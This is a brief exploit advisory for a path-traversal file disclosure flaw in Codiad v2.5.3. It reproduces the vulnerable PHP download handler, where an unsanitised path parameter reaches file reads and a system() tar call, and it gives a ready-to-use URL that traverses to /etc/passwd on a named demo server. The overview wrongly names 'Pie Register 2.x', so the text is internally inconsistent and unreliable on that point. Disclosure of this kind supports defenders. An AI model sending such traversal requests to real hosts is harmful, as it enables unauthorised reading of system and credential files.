[+]Title: Codiad v2.5.3 - LFI Vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 12/03/2015
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Pie Register 2.x suffers, from a Local File Disclosure vulnerability.
[+]Proof Of Concept:
[PHP]
//////////////////////////////////////////////////////////////////
// Run Download
//////////////////////////////////////////////////////////////////
if(isset($_GET['type']) && ($_GET['type']=='directory' || $_GET['type']=='root')){
// Create tarball
$filename = explode("/",$_GET['path']);
//$filename = array_pop($filename) . "-" . date('Y.m.d') . ".tar.gz";
$filename = array_pop($filename) . "-" . date('Y.m.d');
$targetPath = DATA . '/';
$dir = WORKSPACE . '/' . $_GET['path'];
if(!is_dir($dir)){
exit('<script>parent.codiad.message.error("Directory not found.")</script>');
}
//////////////////////////////////////////////////////////////////
// Check system() command and a non windows OS
//////////////////////////////////////////////////////////////////
if(isAvailable('system') && stripos(PHP_OS, 'win') === false){
# Execute the tar command and save file
$filename .= '.tar.gz';
system("tar -pczf ".$targetPath.$filename." -C ".WORKSPACE." ".$_GET['path']);
$download_file = $targetPath.$filename;
}elseif(extension_loaded('zip')){ //Check if zip-Extension is availiable
//build zipfile
require_once 'class.dirzip.php';
$filename .= '.zip';
$download_file = $targetPath.$filename;
DirZip::zipDir($dir, $targetPath .$filename);
}else{
exit('<script>parent.codiad.message.error("Could not pack the folder, zip-extension missing")</script>');
}
}else{
$filename = explode("/",$_GET['path']);
$filename = array_pop($filename);
$download_file = WORKSPACE . '/' . $_GET['path'];
}
[PHP]
http://demo.codiad.com/i/197156553/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined
